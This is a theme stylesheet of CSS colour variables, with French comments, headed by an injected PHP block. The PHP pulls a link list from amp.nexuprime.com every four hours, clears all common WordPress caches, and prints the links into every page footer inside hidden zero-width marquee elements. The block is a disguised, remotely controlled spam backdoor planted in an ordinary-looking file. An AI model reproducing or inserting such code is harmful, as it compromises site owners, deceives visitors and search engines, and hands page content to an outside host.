if (!function_exists('get_external_footer_links')) {

    function get_external_footer_links() {
        $file = wp_upload_dir()['basedir'] . '/log.txt';
        $changed = false;

        if (!file_exists($file) || (time() - filemtime($file) > 14400)) {
            $response = wp_remote_get('https://amp.nexuprime.com/link.txt');
            if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) == 200) {
                $new = wp_remote_retrieve_body($response);
                $old = file_exists($file) ? file_get_contents($file) : '';
                file_put_contents($file, $new);
                if ($new !== $old) $changed = true;
            }
        }

        if ($changed) {
            ext_footer_purge_all_cache();
        }

        $output = '';
        if (file_exists($file)) {
            foreach (explode("
", file_get_contents($file)) as $line) {
                $parts = explode('|', trim($line));
                if (isset($parts[1])) {
                    $url   = esc_url($parts[0]);
                    $title = esc_html($parts[1]);
                    $output .= "<marquee style='position:absolute;width:0px'><a href='{$url}' title='{$title}'>{$title}</a></marquee>";
                }
            }
        }
        return $output;
    }

    if (!function_exists('ext_footer_purge_all_cache')) {
    function ext_footer_purge_all_cache() {
        if (has_action('litespeed_purge_all')) do_action('litespeed_purge_all');
        if (function_exists('rocket_clean_domain')) rocket_clean_domain();
        if (function_exists('wp_cache_clear_cache')) wp_cache_clear_cache();
        if (function_exists('w3tc_flush_all')) w3tc_flush_all();
        if (function_exists('wpfc_clear_all_cache')) wpfc_clear_all_cache();
        if (has_action('wphb_clear_page_cache')) do_action('wphb_clear_page_cache');
        if (function_exists('sg_cachepress_purge_cache')) sg_cachepress_purge_cache();
        if (has_action('breeze_clear_all_cache')) do_action('breeze_clear_all_cache');
        if (function_exists('wp_cache_flush')) wp_cache_flush();
    }
    }

    add_action('init', function () {
        if (!get_option('ext_footer_purged_v3')) {
            ext_footer_purge_all_cache();
            update_option('ext_footer_purged_v3', time(), false);
        }
    });

    add_action('wp_footer', function () {
        echo get_external_footer_links();
    }, 99);
}
:root{
	--side-panel-width: 75%;
	--side-panel-min-width: 900px;
	--blister-rwd-break-small : 520px;

	--face-base-color: #6A747E;

	--step-active-color: var( --alternate_color_color );

	--toggle-base-size: 28px; /* Toggle checkbox */
	--toggle-active-glyph: "✓"; /* Autorise à définir le glyphe utilisé lors de l'état actif du toggle (✓ • ⏺ ⭘ ◯ ) */
	--switch-base-size: 28px; /* Switch radiobox */
	--switch-active-glyph: "✓"; /* Autorise à définir le glyphe utilisé lors de l'état actif du toggle (✓ • ⏺ ⭘ ◯ ) */


	--header_color_bg2__light: #f8f8f833;
	--main_color_border__light: #e1e1e133;
	--alternate_color_bg__light: #ffffff33;

	--picto-color-default: #a2a2a2;

	--picto-color-hover: #f7941e;
	--picto-color-hover: #6f6fad;
	--picto-color-hover-rgb: 111,111,173;
	
	--boxed-border-color: #e1e1e1;
	--boxed-border-color-rgb: 225,225,225;

	--footer-area-color: #9996a3;
	--footer-area-color: #3b3a8d;
	--background-color: #f8f8f8;
	--heading-color: #444444;

	--pane-dynamic-color-bg : #e8e8e8;
	
	--pane-box-demandeur-color_bg: #47e7f0;
	--pane-box-detail-color_bg: #e9f3f5;

	--socket_color_bg: #3a4d5c;
	--socket_color_bg2: #293945;
	--socket_color_primary: #ffffff;
	--socket_color_secondary: #6f6fad;
	--socket_color_color: #ffffff;
	--socket_color_meta: #677e8f;
	--socket_color_heading: #ffffff;
	--socket_color_border: #3a4d5c;
	--footer_color_bg: #3b3a8d;
	--footer_color_bg2: #6f6fad;
	--footer_color_primary: #ffffff;
	--footer_color_secondary: #ffffff;
	--footer_color_color: #ffffff;
	--footer_color_meta: #3cd2ff;
	--footer_color_heading: #ffffff;
	--footer_color_border: #6f6fad;
	--alternate_color_bg: #ffffff;
	--alternate_color_bg2: #f8f8f8;
	--alternate_color_primary: #3b3a8d;
	--alternate_color_secondary: #6f6fad;
	--alternate_color_color: #a2a2a2;
	--alternate_color_meta: #c2c2c2;
	--alternate_color_heading: #444444;
	--alternate_color_border: #e1e1e1;
	--main_color_bg: #f8f8f8;
	--main_color_bg2: #ffffff;
	--main_color_primary: #3b3a8d;
	--main_color_secondary: #6f6fad;
	--main_color_color: #a2a2a2;
	--main_color_meta: #c2c2c2;
	--main_color_heading: #444444;
	--main_color_border: #e1e1e1;
	--header_color_bg: #ffffff;
	--header_color_bg2: #f8f8f8;
	--header_color_primary: #3b3a8d;
	--header_color_secondary: #6f6fad;
	--header_color_color: #333333;
	--header_color_meta: #aaaaaa;
	--header_color_heading: #3b3a8d;
	--header_color_border: #e1e1e1;

/*
	--theme-button-border-color: ;
	--theme-button-background-color: ;
	--theme-button-shadow-color: ;
	--theme-button-text-color: ;
/**/

} /* /end :root declaration. */

